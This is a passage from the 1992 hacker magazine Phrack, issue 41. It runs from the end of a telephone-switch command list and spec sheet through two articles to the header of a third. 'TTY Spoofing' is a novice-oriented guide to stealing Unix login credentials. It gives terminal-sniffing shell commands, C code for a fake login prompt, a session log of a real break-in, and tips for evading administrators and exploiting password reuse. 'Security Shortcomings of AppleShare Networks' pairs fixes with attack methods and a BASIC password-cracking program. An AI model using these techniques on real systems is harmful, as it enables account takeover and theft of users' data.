SCM ‑ Subscriber Carrier Module (DMS‑1) SCS ‑ SCM‑10S shelf (SLC‑96)

SRI ‑ Subscriber Remote Interface pack

NTWK Network

ACT ‑ AC Testing definition

D1PK ‑ DS‑1 interface pack (SCM‑10S)

DCM ‑ Digital Carrier Module

1FAC ‑ Interface packs

LCM ‑ Line Concentrating Module

LPK ‑ Line Concentrating Equipment line packs NWPK ‑ Network packs

PACK ‑ Peripheral Equipment packs

PMS ‑ Peripheral Maintenance System packs PSHF ‑ Peripheral Equipment Shelf

RCT ‑ Remote Concentrator Terminal

REM ‑ Remote Equipment Module

RSHF ‑ Remote Shelf

SBLN ‑ Standby line

SCM ‑ Subscriber Carrier Module

SCS ‑ SCM‑10S Shelf (SLC‑96)

SLC ‑ SLC‑96

SLPK ‑ SLC‑96 Line Packs

SRI ‑ Subscriber Remote Interface (RLCM)

ODQ Office Data Query

ACDN ‑ Access Directory Number

CG ‑ Carrier group

CNTS ‑ Counts

DN ‑ Directory Number

DTRK ‑ Digital Trunks (line and trunk) LINE ‑ Lines (line and trunk)

PIN ‑ Personal Identification Number

STOR ‑ Memory Storage

TG ‑ Trunk Group

TRK ‑ Trunks (line and trunk)

QTRN Query Translations

ADDR ‑ Address Translations

EBSP ‑ Enhanced Business Services prefix translations ESAP ‑ Emergency Stand‑Alone Prefix

PRFX ‑ Prefix translations

SCRN ‑ Screening translations

TRVR ‑ Translation verification

ROUT Routes

CONN ‑ Nailed‑up connections

DEST ‑ Destinations

POS ‑ Centralized Automatic Message Accounting positions ROUT ‑ Routes

TR ‑ Toll regions

SNET CCS7 Signaling Network

SNLS ‑ Signaling Link Set

SNL ‑ Signaling Link

SNRS ‑ Signaling Network Route Set

TG Trunk Groups

INC ‑ Incoming trunk groups

OUT ‑ Outgoing trunk groups

2WAY ‑ Two‑way trunk groups

THGP Thousands Groups

TRAC Call Tracing

TRK Trunks

DTRK ‑ Digital Trunks

TRK ‑ Analog or digital recorded announcement trunks

TRNS Translations

ADDR ‑ Address translations

EBSP ‑ EBS prefix translations

ESAP ‑ Emergency Stand‑Alone prefix

PRFX ‑ Prefix translations

SCRN ‑ Screening translations

V. SPEC SHEET

Maximum # Subscriber Lines: 10,800

(in stand‑alone mode)

Maximum # Trunks: 3,408

‑ Incoming Trunk Groups: 127

‑ Outgoing Trunk Groups: 127

‑ Two‑way Trunk Groups: 127

‑ Maximum Routes: 512

‑ Maximum Trunks per Group: 255

Directory Numbers: 16,000

Office Codes: 8

Home Numbering Plan Area: 4

Thousands Groups: 64

Number of Network Groups: 1 or 2

Total Network Capacity:

‑ One Network Module: 5,400 POTS lines + 600 trunks ‑ Two Network Module: 10,800 POTS lines + 1,200 trunks

Traffic

‑ Busy Hour Calls 38,000

‑ Average Busy Season 29,000

Busy Hour Attempts

‑ CCS per line 5.18 centi call seconds ‑ CCS per trunk 27.0 centi call seconds ‑ Total CCS 133,000 centi call seconds

Outpulsing DP, MF, or DTMF

Inpulsing

‑ Trunks DP, MF, or DTMF

‑ Lines DP or DTMF

Register Capacity

‑ Outgoing DP=16 digits

DTMF=16 digits

MF=14 digits+KP+ST

LEAS MF=20 digits+KP+ST

[LEAS Route Access]

‑ Incoming DP=14 digits

DTMF=16 digits

MF=14 digits

VI. LIMITED GLOSSARY

DP ‑ Dial Pulse. A form of signaling that transmits pulse trains to indicate digits. Slow compared to DTMF and MF. Made obsolete by DTMF. Old step‑by‑step switches use this method, and there are still quite a few subscriber lines that use DP, even though DTMF is available.

In‑band Signaling ‑ Transmitting control signals in the 300 ‑ 3300 hz voice band, meaning that they're audible to subscribers.

Out‑of‑band Signaling ‑ Transmitting control signals above or below the 300 3300 hz voice band. See SS7, CCS7.

DTMF ‑ Dual Tone Multi‑Frequency. A form of in‑band signaling that transmits two tones simultaneously to indicate a digit. One tone indicates the row and the other indicates a column. A fast, technically simple way of dialing that is in use almost all over the United States. White boxes generate DTMF tones, a.k.a. "Touch Tones" or Digitones. See DP, MF.

MF ‑ Multi‑frequency. A form of in‑band signaling similar to DTMF, except the signals are encoded differently (i.e., the row and column tones are different, because the keypad for MF tones isn't laid out in a rectangular matrix). These are the "operator tones." Blue boxes generate these tones. See DTMF, In‑band signaling.

CCS7 ‑ Common Channel Signaling 7. Part of the Signaling System 7 specification, CCS7 transmits control signals either above or below the voice band to control switch equipment, so control signals may be transmitted simultaneously with voice. See SS7.

SS7 ‑ Signaling System 7. An inter‑switch signaling protocol developed by Bellcore, the RBOCs' research consortium. Relatively new, this protocol can be run only on digital switches. See CCS7, CLASS.

CLASS ‑ Custom Local Area Signaling Services. Several subscriber‑line features that are just being introduced around the United States at the time of this article. See SS7, CCS7.

Centrex ‑ A scheme that turns a switch into an off‑site PBX for business users. It can usually co‑exist with existing lines.

If anyone has any more questions, contact me at WWIVNet THE CAVALIER@3464.

Thanks to Northern Telecom (the nicest sales staff in the world of switch manufacturers, with a killer product to boot!), Pink Flamingo, Taran King,

TTY Spoofing

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 8 of 13

++++++++++++++

+++++++

+++++++ TTY SPOOFING +++++++

+++++++

++++++ BY ++++++

+++++

+++ VaxBuster +++

++

++++++++++++++

July 16, 1992

Please note that this file is ONLY to be distributed as part of Phrack, and will NOT be distributed to any other person or magazine for release.

More detailed instructions have been provided so that the novice hacker is able to understand them; therefore, all experienced hackers should be able to breeze right through this without having to worry about the specific command syntax provided.

On UNIX systems, there are many ways to obtain account names and passwords. Some hackers prefer to swipe the password file and run programs like Crack and Killer Cracker on them in order to get account names and passwords. Others rely on bugs or holes in the system in order to gain root access. Both these methods work, but what do you do if your password file is shadowed (and it is NOT a yellow pages file!)? And what do you do if all the holes have been patched over from years of previous hackers abusing them? Well, I happen to have found a system where all this is true. I have even allowed hackers to use one of my accounts to try to gain root privs, and of the 10 or so that have tried, they have all failed. My only recourse was to find SOME other way to get accounts on the system to maintain MY security.

TTY spoofing is often looked at as being lame, and some don't even consider it a "hacking technique." People usually completely overlook it, and many others don't even know about it, or know HOW to do it. I suppose I should start out by defining the term. TTY spoofing is either installing a Trojan horse type program to sit and watch a certain (or multiple) tty and wait for a user to login. Instead of getting the normal system prompt, the program YOU installed echoes the standard "login:" prompt, and then after they type in their username, it prompts them for "<username> password:" and boom, you have a new account. This can be done by a program or, in many cases, manually.

Of all the people I know, 90 percent of them scream at me saying that this is impossible because their system doesn't allow read/write access to the tty. When I make references to tty, I mean the physical device filename or /dev/ttyxx where xx is either numeric, alphabetic, or alphanumeric characters (e.g., 03, pa, p4 are all valid). Of all the systems I've been on, I've never seen one that doesn't allow reading/writing to a LOGIN process. See, the system doesn't change the tty to owner r/w ONLY until AFTER HIS USERNAME AND PASSWORD HAS BEEN VERIFIED. Console, or ttyco, is an exception where the perms are ALWAYS ‑rw‑‑‑‑‑‑.

Now that you know WHAT tty spoofing is and the general idea behind WHY it works, I'll start to tell you the many ways it can be done.

In order to tty spoof, you MUST have at least ONE valid account on the system. You can obtain the account via a little social engineering, or you could try a /who *sitename in the IRC to get nicknames and use their username and try to hack out the password. Try looking for users in #hottub and other st00pid channels because they are the ones who would tend to have the easy passwords. Or use any other method that you can think of to obtain an account.

Once you have an account, the rest is the easy part. Simply create a script in vi or emacs that redirects input from UNUSED tty's to cat. Since you are cat's standard output, everything coming FROM the monitored tty will come to your screen. You probably want to watch about 10 or 15 terminals. An example script would be:

cat </dev/tty01&

cat </dev/tty02&

cat </dev/ttypa&

cat </dev/ttyp1&

Then you want to just run your script with source. Once a user walks up to a terminal (or remotely logs in via telnet, etc.), they will try to press return and attempt to get a login prompt. Many users will also type their username, thinking that the system is just waiting for it. Make sure you write down the username. After a while, they will probably start pressing control characters, like control‑d or z or whatever. Here's the problem: when CAT encounters the ^D, it thinks that it is receiving an EOF in the file and it thinks its job is done. You'll get something to the effect of:

[2] Exit DONE cat </dev/tty01

or

[2] Exit 1 cat:i/o error cat </dev/tty01

You want to IMMEDIATELY (if not sooner) "recat" that terminal. Once you get that DONE signal, you now know WHAT terminal is active. You want to then type something to the effect of 'echo ‑n "login:" >/dev/tty01&'. The & is important because if the user decided to switch terminals, echo could lock up and freeze your control on the account. If after about 10 seconds echo doesn't come back as:

[5] Exit DONE echo ‑n login: >/dev/tty01

KILL the process. When you ran the echo command, the shell gave you a processid. Just type KILL processid. If the done echo line DOES come back, that means that it was successfully printed on the user's screen. He will then type in his username. WRITE THIS DOWN. If you are ever in doubt that the word on your screen is a username, type 'grep word /etc/passwd' and if a line comes up, you know it's valid. If grep doesn't return anything, still keep it because it might be a password. Then wait about 2 seconds, and type 'echo ‑n "<username> password:" >/dev/tty01&' again using the & to prevent lockage. If that command doesn't come back in about 10 seconds, kill the process off and you can assume that you lost the user (e.g. he moved to another terminal). If the done echo line DOES come back, then in about 2 seconds, you SHOULD see his password come up. If you do, write it down, and boom, you have a new account.

This may seem like a time consuming process and a lot of work, but considering that if you have macros with the "cat </dev/tty" command and the echo ‑n commands preset, it will be a breeze. Okay ‑ so you say to yourself, "I'm a lazy shit, and just want passwords to be handed to me on a silver platter." With a little bit of work, you can do that! Below is a few lines of C source code that can be used to automate this process. Anyone who knows C should be able to put something together in no time.

#include <stdio.h>

FILE *fp, *fp2;

char username[10], password[10];

main()

{

fp=fopen("/dev/ttyp1", "r");

fp2=fopen("/dev/ttyp1", "w");

fprintf(fp2, "login:");

fscanf(fp, "%s", &username);

/* Put delay commands in here */

fprintf(fp2, "%s password:", username);

fscanf(fp, "%s", @password);

printf("Your new account info is %s, with password %s.", username, password);

}

This is a VERY basic setup. One could fairly easily have the program take arguments from the command line, like a range of tty's, and have the output sent to a file.

Below is an actual session of manual tty spoofing. The usernames and passwords HAVE been changed because they will probably be active when you read this. Some c/r's and l/f's have been cut to save space. Please notice the time between the startup and getting a new account is only seven minutes. Using this technique does not limit the hacked passwords to dictionary derivatives like Crack and other programs.

source mycats ; This file contains cats

; for terminals tty03 ‑ tty10

[1] 29377

/dev/tty03: Permission denied ; All this means is that someone is logged in

; and has their mesg set to NO. Ignore it.

[1] Exit 1 cat < /dev/tty03

[2] 29378

[3] 29379

/dev/tty06: Permission denied

/dev/tty05: Permission denied

[4] Exit 1 cat < /dev/tty06

[3] Exit 1 cat < /dev/tty05

/dev/tty07: Permission denied

[3] Exit 1 cat < /dev/tty07

/dev/tty08: Permission denied

[3] Exit 1 cat < /dev/tty08

[2] + Stopped (tty input) cat < /dev/tty04 ;This was the terminal I was

on ‑ it's automatically

;aborted...

[3] 29383

<5:34pm><~> /dev/tty09: Permission denied

[3] Exit 1 cat < /dev/tty09

<5:34pm><~> source mycats2 ;This one contains 34 ‑ 43

[3] 29393

[4] 29394

[5] 29395

[6] 29396

[7] 29397

[8] 29398

[9] 29399

/dev/tty36: Permission denied

/dev/tty37: Permission denied

/dev/tty38: Permission denied

/dev/tty39: Permission denied

/dev/tty40: Permission denied

/dev/tty34: Permission denied

/dev/tty35: Permission denied

[9] Exit 1 cat < /dev/tty40

[8] Exit 1 cat < /dev/tty39

[7] Exit 1 cat < /dev/tty38

[6] Exit 1 cat < /dev/tty37

[5] Exit 1 cat < /dev/tty36

[4] Exit 1 cat < /dev/tty35

[3] Exit 1 cat < /dev/tty34

[1] 29400

[3] 29401

[4] 29402

<5:34pm><~> /dev/tty41: Permission denied

[1] Exit 1 cat < /dev/tty41

/dev/tty43: Permission denied

[4] Exit 1 cat < /dev/tty43

/dev/tty42: Permission denied

[3] Exit 1 cat < /dev/tty42

<5:34pm><~> source mycats3 ;This contains p1‑pa

[3] 29404

[4] 29405

[5] 29406

[6] 29407

[7] 29408

/dev/ttyp1: Permission denied

/dev/ttyp3: Permission denied

/dev/ttyp5: Permission denied

/dev/ttyp6: Permission denied

[8] Exit 1 cat < /dev/ttyp6

[7] Exit 1 cat < /dev/ttyp5

[5] Exit 1 cat < /dev/ttyp3

[3] Exit 1 cat < /dev/ttyp1

[7] 29410

[8] 29411

[9] 29412

[1] 29413

<5:34pm><~> /dev/ttyp7: Permission denied

[7] Exit 1 cat < /dev/ttyp7

/dev/ttypa: Permission denied

[1] Exit 1 cat < /dev/ttypa

<5:34pm><~> source mycats4 ;Last one is q0‑qa

[1] 29426

[3] 29427

[5] 29428

[7] 29429

[10] 29430

[11] 29431

/dev/ttyq5: Permission denied

[10] Exit 1 cat < /dev/ttyq5

[12] 29432

[10] 29433

[13] 29434

[14] 29435

<5:34pm><~> who

<5:34pm><~> nnnnnnnnrlogin unx ; He thought he didn't type it right.

pigsnort ; Important! Write down ALL non‑

; system sent messages!

<5:35pm><~>

grep pigsnort /etc/passwd ; Check with grep to see if it's an

; account.

<5:35pm><~> ; Didn't return anything ‑ must be a

; a password!

nnnpptst8 ; Sure looks like an account name to

nnnnn===== ; me! Write it down!

ls

[8] Done cat < /dev/ttyp8 ; Asshole pressed control‑d.

; 'recat' the terminal!

<5:36pm><~> cat < /d e v/ ttyp8& ; This is the 'recat.'

[8] 29459

<5:36pm><~> cat: read error: I/O error ; Asshole is now trying all

; sorts of control characters

; sending UNIX into a fit.

[4] Exit 1 cat < /dev/ttyp2

<5:36pm><~> cat </dev/ttyp2& ; 'recat' it!

[4] 29465

<5:36pm><~>

<5:36pm><~>

[6] Done cat < /dev/ttyp4 ; Someone had to press the

character, so this is active.

<5:36pm><~> cat </dev/ttyp4& ; 'recat' the ctrl‑d.

[6] 29468

<5:36pm><~> echo ‑n "login:" >/dev/ttyble1 ; Try echo'ing a fake login cat: read error: I/O error ; to the active terminal.

[6] Exit 1 cat < /dev/ttyp4

poop4d Here goes another password.

p4 Couldn't find the matching

& ; account.

[6] 29470

<5:37pm><~> cat: read error: I/O error

[4] Exit 1 cat < /dev/ttyp2

<5:37pm><~> cat </dev/ttyp2&

[4] 29489

<5:37pm><~> echo ‑n "login:" >/dev/ttyp2& ; Try echo'ing a fake login

; prompt again.

[15] 29490

<5:37pm><~> kill 29490 ; Login prompt didn't return

; within a few seconds so we

kill it.

[15] Terminated echo ‑n login: > /dev/ttyp2 <5:37pm><~> cat </dev/tty

echo ‑n "login:" >/dev/ttyp4&

[15] 29491

<5:38pm><~> kill 29491

<5:38pm><~> grep pptst8 /etc/passwd ; Make sure it's an account!

pptst8:X:58479:4129:People Eater:/ucuc.edu/usr/pptst8:/bin/bash <5:38pm><~> grep ble1 /etc/passwd ; This isn't an account...

<5:39pm><~> grep poop4d /etc/passwd ; Neither is this ‑ probably

; a password...

<5:39pm><~> who ; See if any of the users we

; caught fell through an

; 'uncatted' terminal...

<5:39pm><~> ps ‑x ; View all our processes.

; DAMN glad that the cat's

PID TT STAT TIME COMMAND ; don't come up in the process 29266 04 S 0:04 ‑tcsh (tcsh) ; list!

29378 04 T 0:00 cat

29412 04 I 0:00 ‑tcsh (tcsh)

29426 04 I 0:00 ‑tcsh (tcsh)

29427 04 I 0:00 ‑tcsh (tcsh)

29428 04 I 0:00 ‑tcsh (tcsh)

29429 04 I 0:00 ‑tcsh (tcsh)

29431 04 I 0:00 ‑tcsh (tcsh)

29432 04 I 0:00 ‑tcsh (tcsh)

29433 04 I 0:00 ‑tcsh (tcsh)

29434 04 I 0:00 ‑tcsh (tcsh)

29435 04 I 0:00 ‑tcsh (tcsh)

29459 04 I 0:00 ‑tcsh (tcsh)

29470 04 D 0:00 <exiting>

29489 04 I 0:00 ‑tcsh (tcsh)

29491 04 D 0:00 ‑tcsh (tcsh)

29547 04 R 0:00 ps ‑x

<5:40pm><~> kill 29378 29412 29426 29427 29428 29429 29431 29432 29433 29434 29

435 29459 29470 29489 289491 ;Kill off all processes.

29470: No such process

[4] Terminated cat < /dev/ttyp2

[8] Terminated cat < /dev/ttyp8

[14] Terminated cat < /dev/ttyqa

[13] Terminated cat < /dev/ttyq9

[10] Terminated cat < /dev/ttyq8

[12] Terminated cat < /dev/ttyq7

[11] Terminated cat < /dev/ttyq6

[7] Terminated cat < /dev/ttyq4

[5] Terminated cat < /dev/ttyq3

[3] Terminated cat < /dev/ttyq2

[1] Terminated cat < /dev/ttyq1

[9] Terminated cat < /dev/ttyp9

[2] Terminated cat < /dev/tty04

<5:41pm><~>

[15] Terminated echo ‑n login: > /dev/ttyp4

[6] Done echo ‑n login: > /dev/ttyp4

<5:41pm><~> ps ‑x

PID TT STAT TIME COMMAND

29266 04 S 0:04 ‑tcsh (tcsh)

29594 04 R 0:00 ps ‑x

<5:41pm><~> logout

Local ‑011‑ Session 1 disconnected from UNIX1

Local> c unx ; Notice it's a different

system but shares passwords.

Local ‑010‑ Session 1 to UNX on node MYUNX established

Welcome to ucuc.edu.

login: ble1 ; Test out all the accounts

ble1 password: [I tried poop4d] ; with all the passwords. Login failed.

login: pptst8

pptst8 password: [I tried poop4d here too.]

Login failed.

login: pptst8

pptst8 password: [I typed pigsnort]

Authenticated via AFS Kerberos. ; BINGO! We're in! Checking system rights for <pptst8>... login permitted.

login 1.0(2), Authen

Last login: Fri Jul 17 17:33:30 on tty11

(1) unix $ ls ; Let's see what this sucker

has...hmm...an IRC user, eh?

Mail Mailbox News bin irc other junk private public

(2) unix $ logout

Local ‑011‑ Session 1 disconnected from UNX

A few words of advice: Monitor the tty's when it's the busiest time of the day, usually about 11am on a university system. Kill all your processes before you hang up. Those processes that you run will sit on the system and can be found by sysadmins. Also, they will tie up those tty's that you are monitoring, which can also cause problems. Point is, you DON'T want to attract attention to what you're doing. Don't test the accounts you get immediately. If the victim happens to be doing a 'who' and sees two of himself, he is going to shit. Wait until later or use a different subsystem that won't show up on his 'who'.

Don't take over accounts. All the real user has to do is call up the office and tell them that their password was changed. In two seconds, it'll be changed back, plus the sysadmin will be on the lookout so you're just one step BEHIND where you started. Once you have someone's account info, kill the cat that is sucking the terminal so that the user can log in normally. If he continues not to get ANYTHING, he may go and solicit some "professional" help, and THEY might know what's going on, so let the sucker log in. Another thing: with accounts you get.

DO NOT DESTROY ANYTHING in the system, not in their account, and no where else if you get higher privs. Chances are that the person is NOT going to know someone has obtained their password, and will have NO reason to change it. Wait until his college term/semester ends and then monitor the file dates. If after about a month the dates don't change, change the password and do whatever you want to the account because he's probably done with it.

Oh and one last thing. Once you have a valid account, grep the username and get the REAL name. Then grep the REAL name and find out all accounts on the system that the guy owns. Chances are that he is using the same password in multiple accounts!

Thanks go to Pointman, #hack members, and the entire current/past Phrack staff for putting out an excellent magazine over the years.

If you need to contact me, try the IRC in #hack and the VMB world. I usually prefer NOT to be contacted by e‑mail, but if you have my address and have an important question, go for it. I'm willing to help any beginners who need it.

Happy Hacking!

Security Shortcomings of AppleShare Networks

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 9 of 13

‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ =

Security Shortcomings of AppleShare Networks

By Bobby Zero

November 28, 1992

‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ = ‑ =

The purpose of this file is to inform all those underpaid Mac network administrators or other interested parties of the problems with Macintosh AppleShare and how to address those problems. AppleShare is quite respectable in both its implementation and usage, blending seamlessly with the Macintosh OS such that the casual user has no idea of the complexity behind the elegance. For all its elegance, however, it does have some severe drawbacks in terms of security‑‑ nearly all of which are fixable, requiring a combination of common sense and RTFM: Read The Fucking Manual.

This is in no way to be considered as a "How To" for persons of questionable ethics and/or motives. That being said, however, I feel the following is in order:

PROSECUTOR: [To WITNESS] ...And you are?

WITNESS: Miss America.

[Singing]

PROSECUTOR: Would you please tell the court why you feel Fielding Mellish is a traitor to this country?

WITNESS: I feel that Fielding Mellish is a traitor to this country because his views are different from the views of the President, and others of his kind. Differences of views should be tolerated, but not when they are too different. Then he becomes a subversive mother.

‑‑Woody Allen, "Bananas"

This file is divided into 5 sections: (1) the "AppleShare Prep" file, (2) the "AShare File Srv" application, (3) Mixing VAXens & AppleShare, (4) System 7 FileSharing, and (5) NCSA Telnet weaknesses. The fifth does not particularly relate to AppleShare, but its security can be exploited via method #4, so I thought to include it.

If there is sufficient interest, I will make a "Part II" [or three or four or five..] detailing more problems. Send feedback to Phrack Loopback; being a regular reader, I will respond accordingly. While writing this, I was unsure of the approach ‑‑ either bland technical or "gh0d‑these‑peopleare‑dumb" statements. I decided to just combine them, chao‑like. Well, enough of my rambling. On with the file!

‑ = ‑ = ‑

THE "APPLESHARE PREP" FILE

~~~ ~~~~~~~~~~ ~~~~ ~~~~

(1) The "AppleShare Prep" file under both System 6 and 7 contains a BMLS resource; this resource contains various information required to mount a volume on startup. While this is an optional feature, many people choose it either by accident or for convenience.

* The downside to this convenience is the fact that the user's name and password for a server are stored in this file. Anyone with a copy of ResEdit can open this file up, and view the BMLS resource.

* It's so easy to create a Trojan horse and slip it into a program or Hypercard stack to copy the BMLS resource from the target's AppleShare Prep file and copy it into a hidden file on the server drive where it can be retrieved at a later date. If Mr. Ed is well‑written, he would be nearly undetectable as it takes but an eyeblink to copy the rez. Trojan horses aren't as sexy as viruses and don't get much publicity, but it is exceedingly easy to fool a Macintosh user [or any user, for that matter] into running something he or she shouldn't.

HOW TO SOLVE: Educate users of this flaw and urge them to log into the file server manually. If computers in an open lab setting are used, configure them to automatically log in as a guest, thereby circumventing the entire issue of passwords entirely. Encryption of the BMLS resource is entirely up to Apple or someone with enough knowledge of AppleShare to write a patch ‑‑ certainly not me [yet...].

THE "ASHARE FILE SRV" SERVER

~~~ ~~~~~~ ~~~~ ~~~ ~~~~~~

(2) On AppleShare File Servers running v2.0:

* The file "Users & Groups" within the Server/System Folder contains the data required for maintaining folder privileges & ownership. It also contains user's names and passwords, in an unencrypted format. While obtaining this file would be somewhat difficult [one must physically be able to access the server: shut it down, restart it with a floppy, copy the file, reboot the machine], the "rewards" would be considerably worthwhile, as one would now have a copy of every user name and password, including that of the Administrator. Once physical access is secured, one could conceivably write a program to install on the server that would periodically make a copy of the file and put it on the "server" side of the disk, and give it an innocuous name... an INIT which would perform on every startup, or install a Time Task to do it daily, or even going so far as to patch the AppleShare Admin program to update this file every time a user is added or modified. It is also common knowledge that users use the same passwords on different machines; armed with a list of names & passwords for one machine, one could then enter another computer with the same user/pass combination.

* There is no automatic lockout for users who enter an incorrect password. With a bit o' knowledge and a copy of "Inside AppleTalk," a program could be written that could use a dictionary of common passwords in conjunction with a list of user names to try to manually "hack out" a valid user/password combination. The speed of this varies greatly on the speed of and load on the server, the speed of and load on the network, and the speed of the "attacking" computer. A typical "hack" can take anywhere from .5 to 5 seconds, but there is no need to tie up the attacking computer for that period of time; the program can use both asynchronous AFPCommand calls and exist under Multifinder to allow for complete "background hacking." It should be noted, however, that Apple has incorporated a lockout into the hideously overpriced AppleShare 3.0 ‑‑ its hardware requirements, however, seem to leave it out of the budgets of most sane individuals.

* A group of individuals armed with the above program could go into a computer lab, fire up said program, and then launch a word processing application and seem to be doing homework while in reality they would be hacking passwords.

* The "Copy Protect File" in AppleShare Admin disallows using the Finder to copy a "Protected" program. That does not deter, however, a "normal" copy program such as DiskTop from copying the file. [That is about as lame as the ol' "Bozo Bit."]

HOW TO SOLVE: Insure that physical access to the fileserver is impossible for all but trusted persons. Upgrade to AppleShare 3.0 [$$ gag $$], which allows "locking" of accounts after a certain number of bad attempts, or obtain a logging program to keep track of invalid attempts and origins, then track down the offenders. There's no way to stop the violation of the "Copy Protection" ‑‑ it deters only those easily dismayed. All I can suggest is you keep your non‑PD programs away from Guests or other "non‑trusted" persons.

VAXSHARE, PCLINK, AND OTHER VAX/APPLESHARE SERVER APPS

~~~~~~~~~ ~~~~~~~ ~~~ ~~~~~ ~~~ ~~~~~~~~

(3) There are various forms of AppleShare that can be run from a VAX; many versions of these programs have severe flaws which can also be exploited.

* The prime example is the existence of "default" accounts: while "Guest" logins might be disallowed, logging in as DEFAULT, password USER has been known to be effective in "getting in" ‑‑ even FIELD, SERVICE has worked. Pathetic, isn't it, that these guys haven't picked up on these things?

* The existence of a VAXShare [or similar] account used for AppleShare access can oft times be used to access the VAX. For instance, if one is aware that a VAX is being used in an open lab as an AppleShare File Server, one can use method #1 to extract a username/password combination from the Prep file and use that password to gain entrance to the VAX.

HOW TO SOLVE: Disallow interactive logins on the VAX‑side of the account and disable or repassword all "default" accounts. If your version of VAX/AppleShare requires an interactive login, have a "special" program be run whenever the user logs in, recording the date, time, and origin of login before disconnecting.

SYSTEM 7 FILE SHARING

~~~~~~ ~ ~~~~ ~~~~~~~

(4) With the advent of System 7.0 and "File Sharing," many users simply put their machines "on the net" without taking proper measures to disallow unauthorized access to their machine. Several people turn Sharing on while their drive is selected, unwittingly allowing others to read, write, copy, delete, or modify the information on the drive. Oddly enough, by default, the "Trash" folder is locked out, while the System Folder is, by default, left wide open. A major oversight on Apple's part... I suppose it was to discourage the perceived threat of "digital dumpster diving" ...? Even I cannot fathom that one.

* Many times the "System Folder" is left unprotected, meaning various system resources can be copied or modified. One can leech the AppleTalk Remote Access files, any Timbuk2 or Timbuk2/Remote programs, etc. and use them to further penetration.

* The "Users & Groups" file can be copied, then modified "at home" by a user running 7.0 [or by the attacking machine, if it is running 7.0] ‑‑ adding another "owner" account, for instance, to act as a "back door" in the event guest privileges are locked out by a wiser individual.

* The integrity of important files can be challenged; the System file can have resources moved in and out of it by the attacking computer ‑‑ one of these resources could be a virus, a Trojan horse, or a really stupid font [like New York ‑‑ ugh!].

* The disk is usually populated by copyrighted software; one could easily make pirated copies of that software.

* The disk may be home to personal or otherwise "private" files ‑‑ files that can be read, copied, deleted, or even modified. There was an instance in which a file on a shared folder was found to contain user names and passwords to a UNIX box on the campus network... incredibly foolish. Fortunately, the proper persons were informed and the files were moved to a [presumably] safer location.

* The attacker could have a malicious streak and choose to delete all that he sees.

HOW TO SOLVE: Take a giant wooden plank and soundly whack all offending users. Tell them of the intelligent way to use filesharing, and inform them that *anyone* can go in and read their resume, love notes, financial info, erotic poetry, etc.. that usually gets their attention. Tell them to, instead of sharing the entire hard drive, create a folder and entitle it "Shares" or something appropriately witty; then select the folder and go to "Sharing..." To further security, disallow the <Any User> (Guest) logins. To better keep track of who's using the Macintosh, keep the "File Sharing Monitor" open or get a program like NokNok which notifies you when someone is using your Mac.

NCSA TELNET

~~~~ ~~~~~~

5) The NCSA Telnet application allows a user to use his or her Mac as a telnet client and wander around the Internet. NCSA Telnet also handles incoming FTP requests. While this FTP function is easily disabled, many users keep it on because they either use it regularly or don't even know it exists.

* Anyone with a valid username/password can log in to the Mac via FTP and then change to the "root" directory and perform the normal FTP functions.. both send and receive. This means that *every* file on the Mac can be accessed from *anywhere* on the Internet. It should be noted that NCSA Telnet does not log the "who & where" information, meaning there is no log of who used the machine, meaning there is no way for an intruder to be "caught."

* The file "ftppass" contains the list of users allowed to use FTP on that Macintosh. If, by using one of the methods mentioned above, someone is able to access it, it is easily cracked as it has a rather pathetic encryption scheme: the data fork contains the user's name, a colon, and then an encrypted password. The password is easily decrypted; unless it is the entire 10 characters, the last few characters are in order. That is, the next ASCII code is 1 + the previous, etc. Observe this from my "ftppass" file:

sample:ucetcr&'()

The first part, "sample," is the user's name. The colon is the basic UNIX‑like delimiter, the rest is the password. The "real" part of the password is the characters "ucetcr" ... the remaining "&'()" are just spaces... how do you tell? It's in ASCII order. Look up "&" on an ASCII chart and "'" will follow, then "(" then ")" .. you get the idea.

This password can be discovered by short program XORing the encrypted characters with a number between 0 and 255. The program can either a) dump all XOR results or b) if the password is not the maximum length, the program can simply scan for a "space" [ASCII 032 decimal] in the password and print it. The following "cracking" program is written in BASIC [hey, does anyone use that any more?] and will allow you to decrypt the passwords. If you can tell that the password has spaces at the end, you can go ahead and delete line 110. Otherwise, leave that line in and use your brain [remember your brain?] to determine if the encrypted goop is a "real" word or just goop.

5 REM "ftppass" brute‑force hacker

10 INPUT "Encrypted password:";I$

20 FOR X=1 TO 255

30 FOR Y=1 TO LEN(I$)

40 Y$=MID$(I$,Y,1)

50 YA=ASC(Y$)

60 N=X XOR YA

70 IF N=32 THEN F=1

80 N$=N$+CHR$(N)

90 NEXT Y

100 IF F THEN ?"Possible password:"N$

110 ?I$" 'encrypts' to "N$: REM U can delete this line if len<10 120 N$="":F=0

130 NEXT X

140 ?"Finished."

Sample run: [with line 110 deleted]

Encrypted password:ucetcr&'()[gotta type the whole thing] Possible password:secret !./ [boy, that was tough!] Possible password:rdbsdu! /.

Possible password:}km|kz./ ! [etc.. just smack ^C at this point.]

So the password is "secret" [clever, no?]

It should be noted that this program is rather inelegant as I haven't really reversed the algorithm, just written a brute‑force "hacker" for it. This is due to laziness on my part. If I really wanted to do this properly, I would FTP to the NCSA anonymous site and leech the 700k+ of source and "reverse" it thataway. I don't feel like doing that. I am lazy. This program works just dandy for me... [I suspect the encryption program uses the users' name to encrypt it, but I don't care enough to find out.]

I should say that I don't wish to offend the makers of NCSA Telnet or call the application crap. It is, indeed, an impressive piece of work; I simply feel that there are some aspects of it which could use improvement... if not in terms of security, then at least allowing the user to save selections to disk!

BTW‑ I know that NCSA Telnet is also available for the IBM. I haven't tested these with an IBM, but if it's a "true" port, these flaws should exist under the IBM version as well.

‑ = ‑ = ‑

Well, that does it. If you're a network coordinator and you're *still* sitting on your skinny ass after reading this, get the hell up and fix the problems. Don't be surprised to find someone running anonymously through your net, leeching files and generally contributing to moral laxity ... I've seen it before ‑‑ it's not a pretty sight.

And of course, if you run a network of any sort, you must encourage users to use different passwords on different machines and passwords that don't exist in a dictionary [gh0ds are we sick of hearing that!].. it will work wonders for security. Every hacker knows the number of people who use ONE password to all of their different accounts is unbelievably high... and they make very good use of this oversight.

Mall Cop Frequencies

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 10 of 13

|

_o # Mall Cop Frequencies # o_

/()\/~

~\\ by Caligula XXI //~

||

~~

THIS ONE IS DEDICATED TO THE DC 2600 MEETING

